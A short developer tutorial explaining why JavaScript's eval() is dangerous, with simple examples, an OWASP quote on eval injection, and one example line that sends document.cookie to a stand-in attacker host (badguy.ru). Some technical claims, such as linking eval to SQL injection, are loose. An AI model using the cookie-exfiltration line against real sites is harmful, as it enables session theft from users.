Eval In JavaScript As A Hacker's Dream

Introduction

The Eval()  method in JavaScript is a very powerful method that can be used to execute JavaScript statements or evaluate an expression. Its main purpose is to evaluate a string as a JavaScript expression, as shown below.
  1. function myMethod(foo) {  
  2.     console.log(foo + ": " + eval(foo));  
  3. }  
  4.   
  5. var foo = "something";  
  6. myMethod("foo");  
Output

foo: foo 

Why it is considered a hacker's dream?

eval() method evaluates a string of characters as code. It generates JavaScript code dynamically from that string, and developers use it because the string contents are not known in advance. It runs a string as a code.
 
Example
  1. eval('al' + 'er' + 't(\'' + 'hello I am coming from eval() method!' + '\')');  
Here, I have put method "alert()" with some string inside eval() method as a string. eval() method evaluates it and generates JavaScript dynamic code alert() with value. Alert box will appear after the execution of the code like below.
 
 
 
According to a famous security website Owasp, it is prone to a kind of direct dynamic code evaluation or Eval Injection.

"This attack consists of a script that does not properly validate user inputs in the page parameter. A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution.

Note 1

This attack will execute the code with the same permission like the target web service, including operating system commands.

Note 2

Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables."


It is a dream for hackers because it is prone to XSS (Cross Site Scripting) attack.

Refer  DOM Based XSS
 
It is a dream of hackers because it is prone to SQL Injection.
 
A hacker can modify the eval() method's string if it is coming from response. Hackers can manipulate and modify the data coming from external storage.
Often, what hackers do is to spread a link that contains code which steals a user's login cookie.
  1. /site/url? + eval(amount=var i=new Image();i.src='http://badguy.ru/x?' + document.cookie)  

Conclusion

eval() is a very powerful method and it is always considered as evil due to security and performance issues. Eval code execution is very slow, and it is very difficult to debug. So, eval() method in JavaScript should be used very carefully.

Up Next
    Ebook Download
    View all
    Learn
    View all